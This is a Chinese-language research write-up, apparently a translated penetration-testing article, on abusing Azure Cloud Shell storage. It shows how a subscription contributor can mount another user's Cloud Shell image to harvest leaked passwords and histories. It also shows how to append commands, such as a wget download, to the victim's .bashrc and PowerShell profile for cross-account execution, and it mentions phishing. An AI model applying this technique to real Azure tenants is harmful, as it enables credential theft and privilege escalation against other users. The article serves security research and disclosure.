默认情况下,Azure订阅用户可以访问订阅中的所有存储账户。这些存储账户中包含的Azure Cloud Shell存储文件(Linux主目录)中可能会含有敏感信息。通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行命令,这会导致跨账户的命令执行和权限提升。
简介
Azure Cloud Shell (Bash或PowerShell)是管理Azure资源的一种很方便的方式,但在渗透测试过程中也可能会成为敏感数据和权限提升的潜在源头。Azure Cloud Shell允许用户管理Azure中任意位置的资源。包括shell.azure.com、Azure mobile app 和Microsoft Terminal application 。
为了保持登陆后的持续体验,Cloud Shell服务会将文件保持在订阅的Azure Storage存储账户中。Cloud Shell会用选择的存储账户来进行配置,真实的文件会在存储账户的File Share Service服务之下。如果使用的是Cloud Shell默认生成的存储账户,前缀应该是cs。
Cloud Shell文件可以做什么?
假设我们黑掉了一个有读写cloud shell File Shares权限的AzureAD账户。这类账户一般是订阅中的贡献账户,但也可能是对Storage Accounts账户有特殊贡献的用户。
默认情况下,所有的订阅账户都有读写Storage Accounts的权限,除非被额外限制了。
有了这些权限就可以从Cloud Shell目录中下载可用文件了,包括acc_ACCT.img文件。如果在相同Storage Account中,有多个用户的Cloud Shell实例,在Storage Account中就会有多个文件夹。攻击者可以选择想要攻击的账户(john),然后下载该账户的IMG文件。该文件一般大小是5G,所以下载需要1分钟。
该IMG文件是一个EXT2文件系统,所以可以在Linux系统上挂载该文件系统。挂载成功后,就会有2个路径。
信息泄露
如果Cloud Shell是真实使用的,那么操作该shell的用户就有机会在命令中制造一些错误。如果这些错误在Azure PowerShell cmdlet中,引发的错误日志就会在IMG文件系统的.Azure文件夹中。
NewAzVM cmdlet是有漏洞的,最终会为新虚拟机的本地管理员账户记录登陆凭证。在本例中,研究人员尝试创建一个名字不一致的虚拟机,这会导致记录一个明文密码。
PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log 103341- } 103349- }, 103356- "osProfile": { 103375- "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf", 103445- "adminUsername": "netspi", 103478: "adminPassword": "Cleartext?", 103515- "windowsConfiguration": {} 103548- }, 103555- "networkProfile": { 103579- "networkInterfaces": [ 103608- {
进一步分析Cloud Shell IMG文件,查看Azure/ErrorRecords文件中的敏感信息,会发现一些有用的东西。
此外,命令历史文件中也可能会有一些有意义的信息:
.bash_history
.local/share/powershell/PSReadLine/ConsoleHost_history.txt
跨账户命令执行
假设我们黑掉了Bob的账户,而Bob是订阅中的贡献者,与Alice的账户贡献订阅内容。Alice是订阅的所有者,也是Azure租户的全局管理员。Alice是Cloud Shell用户,而且在Bob工作的订阅上有一个实例。
因为bob是订阅的贡献者,因此有权限下载任意的cloud shell .IMG文件,包括Alice的acc_alice.img。一旦下载成功,Bob就可以在Linux上上挂载该IMG文件,并将要运行的命令添加到以下2个文件中:
.bashrc /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
研究人员下载了MicroBurst 到Cloud Shell作为POC的证明:
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc $ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
Bob将攻击命令添加后,解挂载了IMG文件,然后上传到Azure Storage Account账户中。在上传文件时,确保勾选了覆盖已经存在的文件框。
上传完成后,Cloud Shell环境就可以用于攻击了。Alice账户启动的下一个Cloud Shell实例会在Alice账户环境下运行添加的命令。
在Azure Linux虚拟机上挂载该文件也可以完成同样的攻击。
实例POC
将这两个文件都修改为echo hello world。通过修改.bashrc和PowerShell Profile文件,要确保命令会在与Cloud Shell类型无关的情况下运行。
研究人员建议用户查看Cloud Shell目录的.azure/azureProfile.json文件。如果目标用户没有使用Cloud Shell,到https://shell.azure.com/ 的钓鱼邮件也可以让用户初始化一个Cloud Shell会话。